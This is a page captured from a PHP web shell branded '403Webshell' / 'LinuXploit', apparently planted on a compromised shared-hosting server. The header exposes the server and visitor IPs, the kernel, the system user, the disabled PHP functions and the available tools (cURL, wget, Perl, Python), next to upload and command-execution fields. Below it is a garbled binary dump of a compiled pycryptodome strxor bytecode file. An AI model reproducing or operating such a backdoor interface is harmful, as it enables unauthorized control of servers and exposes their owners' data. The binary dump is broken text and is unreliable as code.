403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.117.157.139
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/imunify360/venv/lib/python3.11/site-packages/Crypto/Util/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/imunify360/venv/lib/python3.11/site-packages/Crypto/Util/__pycache__/strxor.cpython-311.pyc
�

��hA��T�ddlmZmZmZmZmZmZedd��Zdd�Zdd�Z	d�Z
dS)	�)�load_pycryptodome_raw_lib�c_size_t�create_string_buffer�get_raw_buffer�c_uint8_ptr�is_writeable_bufferzCrypto.Util._strxoray
                    void strxor(const uint8_t *in1,
                                const uint8_t *in2,
                                uint8_t *out, size_t len);
                    void strxor_c(const uint8_t *in,
                                  uint8_t c,
                                  uint8_t *out,
                                  size_t len);
                    Nc
�>�t|��t|��krtd���|�tt|����}n_|}t|��st	d���t|��t|��krtdt|��z���t
�t|��t|��t|��tt|������|�t|��SdS)a�From two byte strings of equal length,
    create a third one which is the byte-by-byte XOR of the two.

    Args:
      term1 (bytes/bytearray/memoryview):
        The first byte string to XOR.
      term2 (bytes/bytearray/memoryview):
        The second byte string to XOR.
      output (bytearray/memoryview):
        The location where the result will be written to.
        It must have the same length as ``term1`` and ``term2``.
        If ``None``, the result is returned.
    :Return:
        If ``output`` is ``None``, a new byte string with the result.
        Otherwise ``None``.

    .. note::
        ``term1`` and ``term2`` must have the same length.
    z.Only byte strings of equal length can be xoredN�4output must be a bytearray or a writeable memoryview�9output must have the same length as the input  (%d bytes))
�len�
ValueErrorrr�	TypeError�_raw_strxor�strxorrrr)�term1�term2�output�results    �t/builddir/build/BUILD/imunify360-venv-2.5.2/opt/imunify360/venv/lib64/python3.11/site-packages/Crypto/Util/strxor.pyrr0s��*�5�z�z�S��Z�Z����I�J�J�J�
�~�%�c�%�j�j�1�1�����"�6�*�*�	T��R�S�S�S��u�:�:��V���$�$��,�.1�%�j�j�9�:�:�
:����{�5�)�)�"�5�)�)�"�6�*�*���E�
�
�+�+�-�-�-�
�~��f�%�%�%��t�c
��d|cxkrdksntd���|�tt|����}n_|}t|��st	d���t|��t|��krtdt|��z���t
�t|��|t|��tt|������|�t|��SdS)a~From a byte string, create a second one of equal length
    where each byte is XOR-red with the same value.

    Args:
      term(bytes/bytearray/memoryview):
        The byte string to XOR.
      c (int):
        Every byte in the string will be XOR-ed with this value.
        It must be between 0 and 255 (included).
      output (None or bytearray/memoryview):
        The location where the result will be written to.
        It must have the same length as ``term``.
        If ``None``, the result is returned.

    Return:
        If ``output`` is ``None``, a new ``bytes`` string with the result.
        Otherwise ``None``.
    r�zc must be in range(256)Nr
r)
r
rrrrr�strxor_crrr)�term�crrs    rrr`s��(
��<�<�<�<�C�<�<�<�<��2�3�3�3�
�~�%�c�$�i�i�0�0�����"�6�*�*�	T��R�S�S�S��t�9�9��F���#�#��,�.1�$�i�i�8�9�9�
9�����T�*�*��$�V�,�,�!�#�d�)�)�,�,�����~��f�%�%�%��trc
�t�t�|||tt|������dS)z!Very fast XOR - check conditions!N)rrrr)rrrs   r�_strxor_directr�s0�����u�e�V�X�c�%�j�j�-A�-A�B�B�B�B�Br)N)�Crypto.Util._raw_apirrrrrrrrrr�rr�<module>r s���>D�D�D�D�D�D�D�D�D�D�D�D�D�D�D�D�(�'�)��
�
��-�-�-�-�`-�-�-�-�`C�C�C�C�Cr

Youez - 2016 - github.com/yon3zu
LinuXploit